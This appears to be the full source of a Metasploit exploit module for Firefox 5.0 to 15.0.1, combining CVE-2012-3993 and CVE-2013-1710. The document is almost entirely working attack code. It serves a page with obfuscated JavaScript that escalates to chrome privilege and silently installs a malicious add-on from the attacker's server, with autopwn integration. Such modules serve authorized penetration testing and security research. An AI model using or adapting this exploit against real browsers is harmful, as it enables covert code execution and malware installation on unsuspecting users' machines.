CoCalc -- firefox_proto

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::BrowserExploitServer
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  include Msf::Exploit::Remote::BrowserAutopwn
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  include Msf::Exploit::Remote::FirefoxAddonGenerator
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  autopwn_info({
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    :ua_name => HttpClients::FF,
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    :ua_minver => "5.0",
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    :ua_maxver => "15.0.1",
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    :javascript => true,
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    :rank => NormalRanking
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  })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
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        'Description' => %q{
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          On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
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          invalid input, would throw an exception that did not have an __exposedProps__
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          property set. By re-setting this property on the exception object's prototype,
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          the chrome-based defineProperty method is made available.
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          With the defineProperty method, functions belonging to window and document can be
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          overridden with a function that gets called from chrome-privileged context. From here,
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          another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
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          into the context's private scope. Since the window does not have a chrome:// URL,
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          the insecure parts of Components.classes are not available, so instead the AddonManager
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          API is invoked to silently install a malicious plugin.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Mariusz Mlynski', # discovered CVE-2012-3993
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          'moz_bug_r_a4', # discovered CVE-2013-1710
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          'joev' # metasploit module
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        ],
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        'DisclosureDate' => '2013-08-06',
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        'References' => [
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          ['CVE', '2012-3993'],  # used to install function that gets called from chrome:// (ff<15)
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          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
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          ['CVE', '2013-1710'],  # used to peek into privileged caller's closure (ff<23)
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        ],
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        'BrowserRequirements' => {
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          :source => 'script',
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          :ua_name => HttpClients::FF,
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          :ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
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        },
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ])
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    ])
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  end
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  def on_request_exploit(cli, request, target_info)
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    if request.uri.match(/\.xpi$/i)
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      print_status("Sending the malicious addon")
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      send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
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    else
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      print_status("Sending HTML")
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      res = generate_html(target_info, request.headers['Host'])
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      vprint_status res.to_s
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      send_response_html(cli, res)
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    end
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  end
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  def generate_html(target_info, refer)
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    injection = if target_info[:ua_ver].to_i == 15
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                  "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
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                else
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                  "p2.constructor.defineProperty(obj,key,{get:runme});"
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                end
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    if refer.nil? or refer.blank?
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      redirect = "#{get_module_uri}/addon.xpi"
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    else
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      proto = ((datastore['SSL']) ? 'https' : 'http')
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      redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
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    end
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    script = js_obfuscate %Q|
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      try{InstallTrigger.install(0)}catch(e){p=e;};
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      var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
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      p2.__exposedProps__={
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        constructor:'rw',
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        prototype:'rw',
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        defineProperty:'rw',
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        __exposedProps__:'rw'
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      };
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      var s = document.querySelector('#payload').innerHTML;
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      var q = false;
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      var register = function(obj,key) {
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        var runme = function(){
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          if (q) return;
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          q = true;
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          window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
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        };
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        try {
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          #{injection}
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        } catch (e) {}
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      };
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      for (var i in window) register(window, i);
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      for (var i in document) register(document, i);
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    |
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    js_payload = js_obfuscate %Q|
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      if (!window.done) {
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        window.AddonManager.getInstallForURL(
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          '#{redirect}',
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          function(install) { install.install() },
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          'application/x-xpinstall'
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        );
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        window.done = true;
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      }
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    |
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    %Q|
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      <html>
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      <body>
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      #{datastore['CONTENT']}
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      <div id='payload' style='display:none'>
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        #{js_payload}
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      </div>
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      <script>
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        #{script}
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      </script>
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      </body>
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      </html>
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    |
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  end
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end
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